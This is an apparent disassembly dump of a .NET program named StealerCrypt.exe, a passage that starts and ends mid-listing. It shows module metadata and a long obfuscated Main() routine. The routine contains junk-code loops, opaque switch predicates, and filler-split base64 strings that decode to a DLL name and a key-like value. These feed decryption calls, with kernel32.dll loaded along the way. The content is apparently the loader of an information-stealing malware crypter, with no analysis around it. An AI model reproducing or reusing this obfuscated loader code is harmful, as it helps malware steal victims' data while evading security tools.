ldloc.s V_219 ldc.i4.0 <null> bgt.s IL_09A4: ldloc.s V_219 ldloc.s V_190 call System.Void qvEAJTKmkyXylyuEEEvkQLKuCbyRXZvPehDxZyspKBzepRrhCnsf::OCPujcORlbMRJVBKeNm(System.Byte[]) ldc.i4.0 <null> stloc.s V_220 ldc.i4.0 <null> stloc.s V_221 br.s IL_09E0: ldloc.s V_221 ldc.i4.0 <null> stloc.s V_222 br.s IL_09D5: ldloc.s V_222 ldloc.s V_220 ldloc.s V_221 ldloc.s V_222 xor <null> add <null> stloc.s V_220 ldloc.s V_222 ldc.i4.1 <null> add <null> stloc.s V_222 ldloc.s V_222 ldc.i4.2 <null> blt.s IL_09C5: ldloc.s V_220 ldloc.s V_221 ldc.i4.1 <null> add <null> stloc.s V_221 ldloc.s V_221 ldc.i4.2 <null> blt.s IL_09C0: ldc.i4.0 ldc.i4.4 <null> stloc.s V_223 ldloc.s V_223 ldc.i4.3 <null> rem <null> stloc.s V_251 ldloc.s V_251 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.0 <null> stloc.s V_224 ldc.i4.0 <null> stloc.s V_225 br.s IL_0A12: ldloc.s V_225 ldloc.s V_224 ldloc.s V_225 add <null> stloc.s V_224 ldloc.s V_225 ldc.i4.1 <null> add <null> stloc.s V_225 ldloc.s V_225 ldc.i4.4 <null> blt.s IL_0A05: ldloc.s V_224 ldc.i4.4 <null> stloc.s V_226 ldloc.s V_226 ldc.i4.3 <null> rem <null> stloc.s V_251 ldloc.s V_251 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.1 <null> stloc.s V_227 br.s IL_0A3C: ldloc.s V_227 ldloc.s V_227 ldc.i4.1 <null> sub <null> stloc.s V_227 br.s IL_0A41: ldc.i4 12345 ldloc.s V_227 ldc.i4.0 <null> bgt.s IL_0A34: ldloc.s V_227 ldc.i4 12345 stloc.s V_228 ldc.i4 12345 stloc.s V_229 ldc.i4.0 <null> stloc.s V_230 ldc.i4.0 <null> stloc.s V_231 br.s IL_0A64: ldloc.s V_231 ldloc.s V_230 ldloc.s V_231 add <null> stloc.s V_230 ldloc.s V_231 ldc.i4.1 <null> add <null> stloc.s V_231 ldloc.s V_231 ldc.i4.3 <null> blt.s IL_0A57: ldloc.s V_230 ldc.i4.4 <null> stloc.s V_232 ldloc.s V_232 ldc.i4.3 <null> rem <null> stloc.s V_251 ldloc.s V_251 switch dnlib.DotNet.Emit.Instruction[] ldc.i4 123456 stloc.s V_233 ldc.i4.s 100 stloc.s V_234 ldloc.s V_234 ldc.i4.1 <null> and <null> brtrue.s IL_0AA0: ldloc.s V_234 ldloc.s V_234 ldc.i4.2 <null> mul <null> stloc.s V_235 ldloc.s V_234 ldc.i4.2 <null> and <null> brfalse.s IL_0AAB: ldc.i4 987654321 br.s IL_0AAB: ldc.i4 987654321 ldloc.s V_234 ldc.i4.3 <null> mul <null> stloc.s V_236 ldloc.s V_234 ldc.i4.4 <null> and <null> pop <null> ldc.i4 987654321 stloc.s V_237 ldc.i4.1 <null> stloc.s V_238 br.s IL_0ABF: ldloc.s V_238 ldloc.s V_238 ldc.i4.1 <null> sub <null> stloc.s V_238 br.s IL_0AC4: ldc.i4.0 ldloc.s V_238 ldc.i4.0 <null> bgt.s IL_0AB7: ldloc.s V_238 ldc.i4.0 <null> stloc.s V_239 ldc.i4.0 <null> stloc.s V_240 br.s IL_0AD9: ldloc.s V_240 ldloc.s V_239 ldloc.s V_240 add <null> stloc.s V_239 ldloc.s V_240 ldc.i4.1 <null> add <null> stloc.s V_240 ldloc.s V_240 ldc.i4.4 <null> blt.s IL_0ACC: ldloc.s V_239 ldc.i4.4 <null> stloc.s V_241 ldloc.s V_241 ldc.i4.3 <null> rem <null> stloc.s V_251 ldloc.s V_251 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.4 <null> stloc.s V_242 ldloc.s V_242 ldc.i4.3 <null> rem <null> stloc.s V_251 ldloc.s V_251 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.0 <null> stloc.s V_243 ldc.i4.0 <null> stloc.s V_244 br.s IL_0B23: ldloc.s V_244 ldloc.s V_243 ldloc.s V_244 add <null> stloc.s V_243 ldloc.s V_244 ldc.i4.1 <null> add <null> stloc.s V_244 ldloc.s V_244 ldc.i4.3 <null> blt.s IL_0B16: ldloc.s V_243 ldc.i4.0 <null> stloc.s V_245 ldc.i4.0 <null> stloc.s V_246 br.s IL_0B3D: ldloc.s V_246 ldloc.s V_245 ldloc.s V_246 add <null> stloc.s V_245 ldloc.s V_246 ldc.i4.1 <null> add <null> stloc.s V_246 ldloc.s V_246 ldc.i4.3 <null> blt.s IL_0B30: ldloc.s V_245 ldc.i4.s 90 stloc.s V_247 ldloc.s V_247 ldc.i4.1 <null> and <null> pop <null> ldc.i4.0 <null> stloc.s V_248 ldc.i4.0 <null> stloc.s V_249 br.s IL_0B73: ldloc.s V_249 ldc.i4.0 <null> stloc.s V_250 br.s IL_0B68: ldloc.s V_250 ldloc.s V_248 ldloc.s V_249 ldloc.s V_250 xor <null> add <null> stloc.s V_248 ldloc.s V_250 ldc.i4.1 <null> add <null> stloc.s V_250 ldloc.s V_250 ldc.i4.2 <null> blt.s IL_0B58: ldloc.s V_248 ldloc.s V_249 ldc.i4.1 <null> add <null> stloc.s V_249 ldloc.s V_249 ldc.i4.2 <null> blt.s IL_0B53: ldc.i4.0 ret <null>
Module Name	StealerCrypt.exe
Full Name	StealerCrypt.exe
EntryPoint	System.Void mMMjJlojPKQNFKtPvEWcBTDCRdTiNchVQHogVSZBAGTJzumrjVDgzDk::Main()
Scope Name	StealerCrypt.exe
Scope Type	ModuleDef
Kind	Console
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	StealerCrypt
Assembly Version	0.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	43
Main Method	System.Void mMMjJlojPKQNFKtPvEWcBTDCRdTiNchVQHogVSZBAGTJzumrjVDgzDk::Main()
Main IL Instruction Count	1547
Main IL	call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr bnJagtplLnnJagtplLRnJagtplLknJagtplLbnJagtplLGnJagtplLwnJagtplLunJagtplLZnJagtplLGnJagtplLxnJagtplLs ldstr nJagtplL ldstr callvirt System.String System.String::Replace(System.String,System.String) call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Void cLDSEENxEffenaboWkNGClIaYGWnxeIauxDhLGHLmMQ::RAXYquFrwBcxvEKzYsYJOIaEWU(System.String) ldc.i4.s 90 stloc.0 <null> ldloc.0 <null> ldc.i4.1 <null> and <null> pop <null> ldc.i4.4 <null> stloc.1 <null> ldloc.1 <null> ldc.i4.3 <null> rem <null> stloc.s V_251 ldloc.s V_251 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.s 90 stloc.2 <null> ldloc.2 <null> ldc.i4.1 <null> and <null> pop <null> ldc.i4 987654321 stloc.3 <null> ldc.i4 12345 stloc.s V_4 ldc.i4.s 90 stloc.s V_5 ldloc.s V_5 ldc.i4.1 <null> and <null> pop <null> ldc.i4 123456 stloc.s V_6 ldc.i4.0 <null> stloc.s V_7 ldc.i4.0 <null> stloc.s V_8 br.s IL_007E: ldloc.s V_8 ldloc.s V_7 ldloc.s V_8 add <null> stloc.s V_7 ldloc.s V_8 ldc.i4.1 <null> add <null> stloc.s V_8 ldloc.s V_8 ldc.i4.4 <null> blt.s IL_0071: ldloc.s V_7 ldc.i4.0 <null> stloc.s V_9 ldc.i4.0 <null> stloc.s V_10 br.s IL_0098: ldloc.s V_10 ldloc.s V_9 ldloc.s V_10 add <null> stloc.s V_9 ldloc.s V_10 ldc.i4.1 <null> add <null> stloc.s V_10 ldloc.s V_10 ldc.i4.3 <null> blt.s IL_008B: ldloc.s V_9 ldc.i4 -1515870811 stloc.s V_11 ldloc.s V_11 ldc.i4.3 <null> shl <null> ldloc.s V_11 ldc.i4.s 29 shr.un <null> or <null> stloc.s V_12 ldc.i4 123456 stloc.s V_13 ldc.i4.s 123 stloc.s V_14 ldloc.s V_14 ldloc.s V_14 ldc.i4.1 <null> shl <null> xor <null> stloc.s V_15 ldloc.s V_15 ldloc.s V_14 not <null> and <null> stloc.s V_16 ldc.i4 123456 stloc.s V_17 ldc.i4 -1515870811 stloc.s V_18 ldloc.s V_18 ldc.i4.3 <null> shl <null> ldloc.s V_18 ldc.i4.s 29 shr.un <null> or <null> stloc.s V_19 ldc.i4.4 <null> stloc.s V_20 ldloc.s V_20 ldc.i4.3 <null> rem <null> stloc.s V_251 ldloc.s V_251 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.s 90 stloc.s V_21 ldloc.s V_21 ldc.i4.1 <null> and <null> pop <null> ldc.i4 12345 stloc.s V_22 ldc.i4.0 <null> stloc.s V_23 ldc.i4.0 <null> stloc.s V_24 br.s IL_0123: ldloc.s V_24 ldloc.s V_23 ldloc.s V_24 add <null> stloc.s V_23 ldloc.s V_24 ldc.i4.1 <null> add <null> stloc.s V_24 ldloc.s V_24 ldc.i4.3 <null> blt.s IL_0116: ldloc.s V_23 ldc.i4.1 <null> stloc.s V_25 br.s IL_0135: ldloc.s V_25 ldloc.s V_25 ldc.i4.1 <null> sub <null> stloc.s V_25 br.s IL_013A: ldstr "kernel32.dll" ldloc.s V_25 ldc.i4.0 <null> bgt.s IL_012D: ldloc.s V_25 ldstr kernel32.dll call System.Void cLDSEENxEffenaboWkNGClIaYGWnxeIauxDhLGHLmMQ::RAXYquFrwBcxvEKzYsYJOIaEWU(System.String) ldc.i4.s 100 stloc.s V_26 ldloc.s V_26 ldc.i4.1 <null> and <null> brtrue.s IL_015C: ldloc.s V_26 ldloc.s V_26 ldc.i4.2 <null> mul <null> stloc.s V_27 ldloc.s V_26 ldc.i4.2 <null> and <null> brfalse.s IL_0167: ldc.i4.0 br.s IL_0167: ldc.i4.0 ldloc.s V_26 ldc.i4.3 <null> mul <null> stloc.s V_28 ldloc.s V_26 ldc.i4.4 <null> and <null> pop <null> ldc.i4.0 <null> stloc.s V_29 ldc.i4.0 <null> stloc.s V_30 br.s IL_017C: ldloc.s V_30 ldloc.s V_29 ldloc.s V_30 add <null> stloc.s V_29 ldloc.s V_30 ldc.i4.1 <null> add <null> stloc.s V_30 ldloc.s V_30 ldc.i4.3 <null> blt.s IL_016F: ldloc.s V_29 ldc.i4 123456 stloc.s V_31 ldc.i4.s 123 stloc.s V_32 ldloc.s V_32 ldloc.s V_32 ldc.i4.1 <null> shl <null> xor <null> stloc.s V_33 ldloc.s V_33 ldloc.s V_32 not <null> and <null> stloc.s V_34 ldc.i4 123456 stloc.s V_35 ldc.i4 123456 stloc.s V_36 ldc.i4 -1515870811 stloc.s V_37 ldloc.s V_37 ldc.i4.3 <null> shl <null> ldloc.s V_37 ldc.i4.s 29 shr.un <null> or <null> stloc.s V_38 ldc.i4.0 <null> stloc.s V_39 ldloc.s V_39 ldc.i4.1 <null> add <null> stloc.s V_39 ldc.i4 12345 stloc.s V_40 ldc.i4 987654321 stloc.s V_41 ldc.i4 11259375 stloc.s V_42 ldloc.s V_42 ldc.i4 1437226410 xor <null> stloc.s V_43 ldc.i4.s 90 stloc.s V_44 ldloc.s V_44 ldc.i4.1 <null> and <null> pop <null> ldc.i4 11259375 stloc.s V_45 ldloc.s V_45 ldc.i4 1437226410 xor <null> stloc.s V_46 ldc.i4.0 <null> stloc.s V_47 ldc.i4.0 <null> stloc.s V_48 br.s IL_0215: ldloc.s V_48 ldloc.s V_47 ldloc.s V_48 add <null> stloc.s V_47 ldloc.s V_48 ldc.i4.1 <null> add <null> stloc.s V_48 ldloc.s V_48 ldc.i4.3 <null> blt.s IL_0208: ldloc.s V_47 ldc.i4.0 <null> stloc.s V_49 ldloc.s V_49 ldc.i4.1 <null> add <null> stloc.s V_49 ldc.i4.0 <null> stloc.s V_50 ldloc.s V_50 ldc.i4.1 <null> add <null> stloc.s V_50 ldc.i4.0 <null> stloc.s V_51 ldc.i4.0 <null> stloc.s V_52 br.s IL_0241: ldloc.s V_52 ldloc.s V_51 ldloc.s V_52 add <null> stloc.s V_51 ldloc.s V_52 ldc.i4.1 <null> add <null> stloc.s V_52 ldloc.s V_52 ldc.i4.4 <null> blt.s IL_0234: ldloc.s V_51 ldc.i4.0 <null> stloc.s V_53 ldc.i4.0 <null> stloc.s V_54 br.s IL_026E: ldloc.s V_54 ldc.i4.0 <null> stloc.s V_55 br.s IL_0263: ldloc.s V_55 ldloc.s V_53 ldloc.s V_54 ldloc.s V_55 xor <null> add <null> stloc.s V_53 ldloc.s V_55 ldc.i4.1 <null> add <null> stloc.s V_55 ldloc.s V_55 ldc.i4.2 <null> blt.s IL_0253: ldloc.s V_53 ldloc.s V_54 ldc.i4.1 <null> add <null> stloc.s V_54 ldloc.s V_54 ldc.i4.2 <null> blt.s IL_024E: ldc.i4.0 ldc.i4.s 100 stloc.s V_56 ldloc.s V_56 ldc.i4.1 <null> and <null> brtrue.s IL_028B: ldloc.s V_56 ldloc.s V_56 ldc.i4.2 <null> mul <null> stloc.s V_57 ldloc.s V_56 ldc.i4.2 <null> and <null> brfalse.s IL_0296: ldc.i4 123456 br.s IL_0296: ldc.i4 123456 ldloc.s V_56 ldc.i4.3 <null> mul <null> stloc.s V_58 ldloc.s V_56 ldc.i4.4 <null> and <null> pop <null> ldc.i4 123456 stloc.s V_59 call System.Void cLDSEENxEffenaboWkNGClIaYGWnxeIauxDhLGHLmMQ::grNcZxuqimYGrotllwHQLDzQV() ldc.i4.0 <null> stloc.s V_60 ldc.i4.0 <null> stloc.s V_61 br.s IL_02B7: ldloc.s V_61 ldloc.s V_60 ldloc.s V_61 add <null> stloc.s V_60 ldloc.s V_61 ldc.i4.1 <null> add <null> stloc.s V_61 ldloc.s V_61 ldc.i4.4 <null> blt.s IL_02AA: ldloc.s V_60 ldc.i4.0 <null> stloc.s V_62 ldc.i4.0 <null> stloc.s V_63 br.s IL_02D1: ldloc.s V_63 ldloc.s V_62 ldloc.s V_63 add <null> stloc.s V_62 ldloc.s V_63 ldc.i4.1 <null> add <null> stloc.s V_63 ldloc.s V_63 ldc.i4.4 <null> blt.s IL_02C4: ldloc.s V_62 ldc.i4 987654321 stloc.s V_64 ldc.i4 11259375 stloc.s V_65 ldloc.s V_65 ldc.i4 1437226410 xor <null> stloc.s V_66 ldc.i4 12345 stloc.s V_67 ldc.i4 123456 stloc.s V_68 ldc.i4 987654321 stloc.s V_69 ldc.i4.0 <null> stloc.s V_70 ldc.i4.0 <null> stloc.s V_71 br.s IL_0318: ldloc.s V_71 ldloc.s V_70 ldloc.s V_71 add <null> stloc.s V_70 ldloc.s V_71 ldc.i4.1 <null> add <null> stloc.s V_71 ldloc.s V_71 ldc.i4.3 <null> blt.s IL_030B: ldloc.s V_70 ldc.i4 -1515870811 stloc.s V_72 ldloc.s V_72 ldc.i4.3 <null> shl <null> ldloc.s V_72 ldc.i4.s 29 shr.un <null> or <null> stloc.s V_73 ldc.i4.0 <null> stloc.s V_74 ldc.i4.0 <null> stloc.s V_75 br.s IL_0345: ldloc.s V_75 ldloc.s V_74 ldloc.s V_75 add <null> stloc.s V_74 ldloc.s V_75 ldc.i4.1 <null> add <null> stloc.s V_75 ldloc.s V_75 ldc.i4.3 <null> blt.s IL_0338: ldloc.s V_74 ldc.i4 11259375 stloc.s V_76 ldloc.s V_76 ldc.i4 1437226410 xor <null> stloc.s V_77 ldc.i4 12345 stloc.s V_78 ldc.i4.0 <null> stloc.s V_79 ldc.i4.0 <null> stloc.s V_80 br.s IL_0377: ldloc.s V_80 ldloc.s V_79 ldloc.s V_80 add <null> stloc.s V_79 ldloc.s V_80 ldc.i4.1 <null> add <null> stloc.s V_80 ldloc.s V_80 ldc.i4.4 <null> blt.s IL_036A: ldloc.s V_79 ldc.i4.1 <null> stloc.s V_81 br.s IL_0389: ldloc.s V_81 ldloc.s V_81 ldc.i4.1 <null> sub <null> stloc.s V_81 br.s IL_038E: ldc.i4 11259375 ldloc.s V_81 ldc.i4.0 <null> bgt.s IL_0381: ldloc.s V_81 ldc.i4 11259375 stloc.s V_82 ldloc.s V_82 ldc.i4 1437226410 xor <null> stloc.s V_83 ldc.i4 -1515870811 stloc.s V_84 ldloc.s V_84 ldc.i4.3 <null> shl <null> ldloc.s V_84 ldc.i4.s 29 shr.un <null> or <null> stloc.s V_85 ldc.i4 987654321 stloc.s V_86 ldc.i4 12345 stloc.s V_87 call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr aIXzRuxWIXzRux1IXzRuxvIXzRuxcIXzRuxGIXzRuxpIXzRuxVIXzRuxUIXzRuxUIXzRuxlIXzRuxyIXzRuxQIXzRux2IXzRuxNIXzRuxrIXzRuxeIXzRuxmIXzRuxtIXzRuxWIXzRuxZIXzRuxgIXzRux=IXzRux= ldstr IXzRux ldstr callvirt System.String System.String::Replace(System.String,System.String) call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Byte[] kRekJyiUtOKDHUDvweGMFZOMgFkkQOjgQgtPYMQzKURnoaixnmFJm::OTMgHLVXcsqaUBFpGfxQGwTpIRRP(System.String) stloc.s V_88 ldc.i4.0 <null> stloc.s V_89 ldloc.s V_89 ldc.i4.1 <null> add <null> stloc.s V_89 ldc.i4.0 <null> stloc.s V_90 ldloc.s V_90 ldc.i4.1 <null> add <null> stloc.s V_90 ldc.i4 11259375 stloc.s V_91 ldloc.s V_91 ldc.i4 1437226410 xor <null> stloc.s V_92 ldc.i4.4 <null> stloc.s V_93 ldloc.s V_93 ldc.i4.3 <null> rem <null> stloc.s V_251 ldloc.s V_251 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.s 90 stloc.s V_94 ldloc.s V_94 ldc.i4.1 <null> and <null> pop <null> ldc.i4.0 <null> stloc.s V_95 ldc.i4.0 <null> stloc.s V_96 br.s IL_0443: ldloc.s V_96 ldloc.s V_95 ldloc.s V_96 add <null> stloc.s V_95 ldloc.s V_96 ldc.i4.1 <null> add <null> stloc.s V_96 ldloc.s V_96 ldc.i4.3 <null> blt.s IL_0436: ldloc.s V_95 ldc.i4.0 <null> stloc.s V_97 ldc.i4.0 <null> stloc.s V_98 br.s IL_0470: ldloc.s V_98 ldc.i4.0 <null> stloc.s V_99 br.s IL_0465: ldloc.s V_99 ldloc.s V_97 ldloc.s V_98 ldloc.s V_99 xor <null> add <null> stloc.s V_97 ldloc.s V_99 ldc.i4.1 <null> add <null> stloc.s V_99 ldloc.s V_99 ldc.i4.2 <null> blt.s IL_0455: ldloc.s V_97 ldloc.s V_98 ldc.i4.1 <null> add <null> stloc.s V_98 ldloc.s V_98 ldc.i4.2 <null> blt.s IL_0450: ldc.i4.0 ldc.i4.0 <null> stloc.s V_100 ldc.i4.0 <null> stloc.s V_101 br.s IL_048A: ldloc.s V_101 ldloc.s V_100 ldloc.s V_101 add <null> stloc.s V_100 ldloc.s V_101 ldc.i4.1 <null> add <null> stloc.s V_101 ldloc.s V_101 ldc.i4.3 <null> blt.s IL_047D: ldloc.s V_100 ldc.i4 123456 stloc.s V_102 ldc.i4 987654321 stloc.s V_103 ldc.i4.4 <null> stloc.s V_104 ldloc.s V_104 ldc.i4.3 <null> rem <null> stloc.s V_251 ldloc.s V_251 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.0 <null> stloc.s V_105 ldc.i4.0 <null> stloc.s V_106 br.s IL_04DD: ldloc.s V_106 ldc.i4.0 <null> stloc.s V_107 br.s IL_04D2: ldloc.s V_107 ldloc.s V_105 ldloc.s V_106 ldloc.s V_107 xor <null> add <null> stloc.s V_105 ldloc.s V_107 ldc.i4.1 <null> add <null> stloc.s V_107 ldloc.s V_107 ldc.i4.2 <null> blt.s IL_04C2: ldloc.s V_105 ldloc.s V_106 ldc.i4.1 <null> add <null> stloc.s V_106 ldloc.s V_106 ldc.i4.2 <null> blt.s IL_04BD: ldc.i4.0 ldc.i4 11259375 stloc.s V_108 ldloc.s V_108 ldc.i4 1437226410 xor <null> stloc.s V_109 ldc.i4.0 <null> stloc.s V_110 ldc.i4.0 <null> stloc.s V_111 br.s IL_0508: ldloc.s V_111 ldloc.s V_110 ldloc.s V_111 add <null> stloc.s V_110 ldloc.s V_111 ldc.i4.1 <null> add <null> stloc.s V_111 ldloc.s V_111 ldc.i4.3 <null> blt.s IL_04FB: ldloc.s V_110 ldc.i4.s 123 stloc.s V_112 ldloc.s V_112 ldloc.s V_112 ldc.i4.1 <null> shl <null> xor <null> stloc.s V_113 ldloc.s V_113 ldloc.s V_112 not <null> and <null> stloc.s V_114 ldc.i4.0 <null> stloc.s V_115 ldc.i4.0 <null> stloc.s V_116 br.s IL_054A: ldloc.s V_116 ldc.i4.0 <null> stloc.s V_117 br.s IL_053F: ldloc.s V_117 ldloc.s V_115 ldloc.s V_116 ldloc.s V_117 xor <null> add <null> stloc.s V_115 ldloc.s V_117 ldc.i4.1 <null> add <null> stloc.s V_117 ldloc.s V_117 ldc.i4.2 <null> blt.s IL_052F: ldloc.s V_115 ldloc.s V_116 ldc.i4.1 <null> add <null> stloc.s V_116 ldloc.s V_116 ldc.i4.2 <null> blt.s IL_052A: ldc.i4.0 ldc.i4 12345 stloc.s V_118 ldc.i4.0 <null> stloc.s V_119 ldc.i4.0 <null> stloc.s V_120 br.s IL_056B: ldloc.s V_120 ldloc.s V_119 ldloc.s V_120 add <null> stloc.s V_119 ldloc.s V_120 ldc.i4.1 <null> add <null> stloc.s V_120 ldloc.s V_120 ldc.i4.3 <null> blt.s IL_055E: ldloc.s V_119 ldc.i4.0 <null> stloc.s V_121 ldloc.s V_121 ldc.i4.1 <null> add <null> stloc.s V_121 ldloc.s V_88 call System.Byte[] JKRfRGVndvxxVNtcfVcvAtCWqbzsZBWNXVWLAtktkgg::CdpyFLWixbcXZVuWnog(System.Byte[]) stloc.s V_122 ldc.i4 123456 stloc.s V_123 ldc.i4.s 100 stloc.s V_124 ldloc.s V_124 ldc.i4.1 <null> and <null> brtrue.s IL_05A1: ldloc.s V_124 ldloc.s V_124 ldc.i4.2 <null> mul <null> stloc.s V_125 ldloc.s V_124 ldc.i4.2 <null> and <null> brfalse.s IL_05AC: ldc.i4.0 br.s IL_05AC: ldc.i4.0 ldloc.s V_124 ldc.i4.3 <null> mul <null> stloc.s V_126 ldloc.s V_124 ldc.i4.4 <null> and <null> pop <null> ldc.i4.0 <null> stloc.s V_127 ldc.i4.0 <null> stloc.s V_128 br.s IL_05C1: ldloc.s V_128 ldloc.s V_127 ldloc.s V_128 add <null> stloc.s V_127 ldloc.s V_128 ldc.i4.1 <null> add <null> stloc.s V_128 ldloc.s V_128 ldc.i4.3 <null> blt.s IL_05B4: ldloc.s V_127 ldc.i4.s 123 stloc.s V_129 ldloc.s V_129 ldloc.s V_129 ldc.i4.1 <null> shl <null> xor <null> stloc.s V_130 ldloc.s V_130 ldloc.s V_129 not <null> and <null> stloc.s V_131 ldc.i4.s 90 stloc.s V_132 ldloc.s V_132 ldc.i4.1 <null> and <null> pop <null> ldc.i4.s 90 stloc.s V_133 ldloc.s V_133 ldc.i4.1 <null> and <null> pop <null> ldc.i4 987654321 stloc.s V_134 ldc.i4.s 100 stloc.s V_135 ldloc.s V_135 ldc.i4.1 <null> and <null> brtrue.s IL_060C: ldloc.s V_135 ldloc.s V_135 ldc.i4.2 <null> mul <null> stloc.s V_136 ldloc.s V_135 ldc.i4.2 <null> and <null> brfalse.s IL_0617: ldc.i4.0 br.s IL_0617: ldc.i4.0 ldloc.s V_135 ldc.i4.3 <null> mul <null> stloc.s V_137 ldloc.s V_135 ldc.i4.4 <null> and <null> pop <null> ldc.i4.0 <null> stloc.s V_138 ldc.i4.0 <null> stloc.s V_139 br.s IL_062C: ldloc.s V_139 ldloc.s V_138 ldloc.s V_139 add <null> stloc.s V_138 ldloc.s V_139 ldc.i4.1 <null> add <null> stloc.s V_139 ldloc.s V_139 ldc.i4.4 <null> blt.s IL_061F: ldloc.s V_138 ldc.i4.s 123 stloc.s V_140 ldloc.s V_140 ldloc.s V_140 ldc.i4.1 <null> shl <null> xor <null> stloc.s V_141 ldloc.s V_141 ldloc.s V_140 not <null> and <null> stloc.s V_142 ldc.i4.s 100 stloc.s V_143 ldloc.s V_143 ldc.i4.1 <null> and <null> brtrue.s IL_065E: ldloc.s V_143 ldloc.s V_143 ldc.i4.2 <null> mul <null> stloc.s V_144 ldloc.s V_143 ldc.i4.2 <null> and <null> brfalse.s IL_0669: ldc.i4.s 100 br.s IL_0669: ldc.i4.s 100 ldloc.s V_143 ldc.i4.3 <null> mul <null> stloc.s V_145 ldloc.s V_143 ldc.i4.4 <null> and <null> pop <null> ldc.i4.s 100 stloc.s V_146 ldloc.s V_146 ldc.i4.1 <null> and <null> brtrue.s IL_0681: ldloc.s V_146 ldloc.s V_146 ldc.i4.2 <null> mul <null> stloc.s V_147 ldloc.s V_146 ldc.i4.2 <null> and <null> brfalse.s IL_068C: ldc.i4 123456 br.s IL_068C: ldc.i4 123456 ldloc.s V_146 ldc.i4.3 <null> mul <null> stloc.s V_148 ldloc.s V_146 ldc.i4.4 <null> and <null> pop <null> ldc.i4 123456 stloc.s V_149 ldc.i4.0 <null> stloc.s V_150 ldc.i4.0 <null> stloc.s V_151 br.s IL_06BB: ldloc.s V_151 ldc.i4.0 <null> stloc.s V_152 br.s IL_06B0: ldloc.s V_152 ldloc.s V_150 ldloc.s V_151 ldloc.s V_152 xor <null> add <null> stloc.s V_150 ldloc.s V_152 ldc.i4.1 <null> add <null> stloc.s V_152 ldloc.s V_152 ldc.i4.2 <null> blt.s IL_06A0: ldloc.s V_150 ldloc.s V_151 ldc.i4.1 <null> add <null> stloc.s V_151 ldloc.s V_151 ldc.i4.2 <null> blt.s IL_069B: ldc.i4.0 ldc.i4 -1515870811 stloc.s V_153 ldloc.s V_153 ldc.i4.3 <null> shl <null> ldloc.s V_153 ldc.i4.s 29 shr.un <null> or <null> stloc.s V_154 ldc.i4.s 100 stloc.s V_155 ldloc.s V_155 ldc.i4.1 <null> and <null> brtrue.s IL_06EB: ldloc.s V_155 ldloc.s V_155 ldc.i4.2 <null> mul <null> stloc.s V_156 ldloc.s V_155 ldc.i4.2 <null> and <null> brfalse.s IL_06F6: ldc.i4.4 br.s IL_06F6: ldc.i4.4 ldloc.s V_155 ldc.i4.3 <null> mul <null> stloc.s V_157 ldloc.s V_155 ldc.i4.4 <null> and <null> pop <null> ldc.i4.4 <null> stloc.s V_158 ldloc.s V_158 ldc.i4.3 <null> rem <null> stloc.s V_251 ldloc.s V_251 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.4 <null> stloc.s V_159 ldloc.s V_159 ldc.i4.3 <null> rem <null> stloc.s V_251 ldloc.s V_251 switch dnlib.DotNet.Emit.Instruction[] ldc.i4 987654321 stloc.s V_160 ldloc.s V_122 call System.Byte[] xpVVbbAeapSPHuppGdNcYjazqiblkiLTNy::lVkUkAtBzWpugEufJcZeB(System.Byte[]) stloc.s V_161 ldc.i4.0 <null> stloc.s V_162 ldloc.s V_162 ldc.i4.1 <null> add <null> stloc.s V_162 ldc.i4 987654321 stloc.s V_163 ldc.i4.0 <null> stloc.s V_164 ldloc.s V_164 ldc.i4.1 <null> add <null> stloc.s V_164 ldc.i4 987654321 stloc.s V_165 ldc.i4 -1515870811 stloc.s V_166 ldloc.s V_166 ldc.i4.3 <null> shl <null> ldloc.s V_166 ldc.i4.s 29 shr.un <null> or <null> stloc.s V_167 ldc.i4.s 90 stloc.s V_168 ldloc.s V_168 ldc.i4.1 <null> and <null> pop <null> ldc.i4 987654321 stloc.s V_169 ldc.i4 11259375 stloc.s V_170 ldloc.s V_170 ldc.i4 1437226410 xor <null> stloc.s V_171 ldc.i4.1 <null> stloc.s V_172 br.s IL_0797: ldloc.s V_172 ldloc.s V_172 ldc.i4.1 <null> sub <null> stloc.s V_172 br.s IL_079C: ldc.i4.0 ldloc.s V_172 ldc.i4.0 <null> bgt.s IL_078F: ldloc.s V_172 ldc.i4.0 <null> stloc.s V_173 ldloc.s V_173 ldc.i4.1 <null> add <null> stloc.s V_173 ldc.i4.s 100 stloc.s V_174 ldloc.s V_174 ldc.i4.1 <null> and <null> brtrue.s IL_07BD: ldloc.s V_174 ldloc.s V_174 ldc.i4.2 <null> mul <null> stloc.s V_175 ldloc.s V_174 ldc.i4.2 <null> and <null> brfalse.s IL_07C8: ldc.i4.0 br.s IL_07C8: ldc.i4.0 ldloc.s V_174 ldc.i4.3 <null> mul <null> stloc.s V_176 ldloc.s V_174 ldc.i4.4 <null> and <null> pop <null> ldc.i4.0 <null> stloc.s V_177 ldloc.s V_177 ldc.i4.1 <null> add <null> stloc.s V_177 ldc.i4.0 <null> stloc.s V_178 ldc.i4.0 <null> stloc.s V_179 br.s IL_07E6: ldloc.s V_179 ldloc.s V_178 ldloc.s V_179 add <null> stloc.s V_178 ldloc.s V_179 ldc.i4.1 <null> add <null> stloc.s V_179 ldloc.s V_179 ldc.i4.3 <null> blt.s IL_07D9: ldloc.s V_178 ldc.i4.s 123 stloc.s V_180 ldloc.s V_180 ldloc.s V_180 ldc.i4.1 <null> shl <null> xor <null> stloc.s V_181 ldloc.s V_181 ldloc.s V_180 not <null> and <null> stloc.s V_182 ldc.i4 11259375 stloc.s V_183 ldloc.s V_183 ldc.i4 1437226410 xor <null> stloc.s V_184 ldc.i4.s 90 stloc.s V_185 ldloc.s V_185 ldc.i4.1 <null> and <null> pop <null> ldc.i4.s 90 stloc.s V_186 ldloc.s V_186 ldc.i4.1 <null> and <null> pop <null> ldc.i4 -1515870811 stloc.s V_187 ldloc.s 